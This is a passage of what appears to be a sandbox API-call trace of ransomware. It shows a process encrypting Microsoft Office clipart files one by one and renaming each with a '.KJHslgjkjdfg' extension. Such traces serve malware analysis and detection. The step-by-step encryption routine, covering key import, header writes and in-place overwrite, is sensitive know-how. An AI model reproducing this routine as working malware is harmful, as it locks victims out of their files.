office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.830] GetProcessHeap () returned 0x2ef0000 [0204.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.830] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.830] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.830] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.830] GetProcessHeap () returned 0x2ef0000 [0204.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.830] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.830] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.833] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x59a0, lpOverlapped=0x0) returned 1 [0204.835] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59a0, dwBufLen=0x59a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59a0) returned 1 [0204.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.835] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x59a0, lpOverlapped=0x0) returned 1 [0204.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.835] SetEndOfFile (hFile=0x130) returned 1 [0204.838] GetProcessHeap () returned 0x2ef0000 [0204.838] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.838] GetProcessHeap () returned 0x2ef0000 [0204.838] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.kjhslgjkjdfg")) returned 1 [0204.839] CloseHandle (hObject=0x130) returned 1 [0204.839] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0204.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.841] GetProcessHeap () returned 0x2ef0000 [0204.841] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.841] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.843] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.844] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.844] GetProcessHeap () returned 0x2ef0000 [0204.844] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.844] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.844] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.844] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.844] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.844] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.844] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.844] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.844] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.844] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.844] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1334, lpOverlapped=0x0) returned 1 [0204.845] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340, dwBufLen=0x1340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340) returned 1 [0204.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.845] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1340, lpOverlapped=0x0) returned 1 [0204.845] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.846] SetEndOfFile (hFile=0x130) returned 1 [0204.848] GetProcessHeap () returned 0x2ef0000 [0204.848] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.848] GetProcessHeap () returned 0x2ef0000 [0204.848] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.kjhslgjkjdfg")) returned 1 [0204.849] CloseHandle (hObject=0x130) returned 1 [0204.849] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0204.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.850] GetProcessHeap () returned 0x2ef0000 [0204.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.850] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.850] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.852] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.852] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.852] GetProcessHeap () returned 0x2ef0000 [0204.852] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.852] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.853] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.853] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.853] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d3c, lpOverlapped=0x0) returned 1 [0204.854] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d40, dwBufLen=0x1d40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d40) returned 1 [0204.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.854] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d40, lpOverlapped=0x0) returned 1 [0204.854] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.855] SetEndOfFile (hFile=0x130) returned 1 [0204.857] GetProcessHeap () returned 0x2ef0000 [0204.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.857] GetProcessHeap () returned 0x2ef0000 [0204.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.kjhslgjkjdfg")) returned 1 [0204.859] CloseHandle (hObject=0x130) returned 1 [0204.859] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0204.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.860] GetProcessHeap () returned 0x2ef0000 [0204.860] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.860] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.863] GetProcessHeap () returned 0x2ef0000 [0204.863] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.863] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.864] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13b8, lpOverlapped=0x0) returned 1 [0204.864] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13c0, dwBufLen=0x13c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13c0) returned 1 [0204.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.865] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13c0, lpOverlapped=0x0) returned 1 [0204.865] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.865] SetEndOfFile (hFile=0x130) returned 1 [0204.867] GetProcessHeap () returned 0x2ef0000 [0204.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.867] GetProcessHeap () returned 0x2ef0000 [0204.867] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.kjhslgjkjdfg")) returned 1 [0204.869] CloseHandle (hObject=0x130) returned 1 [0204.869] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0204.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.870] GetProcessHeap () returned 0x2ef0000 [0204.870] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.870] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.870] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.871] GetProcessHeap () returned 0x2ef0000 [0204.871] RtlAllocateHeap (HeapHandle=0x2ef0000, 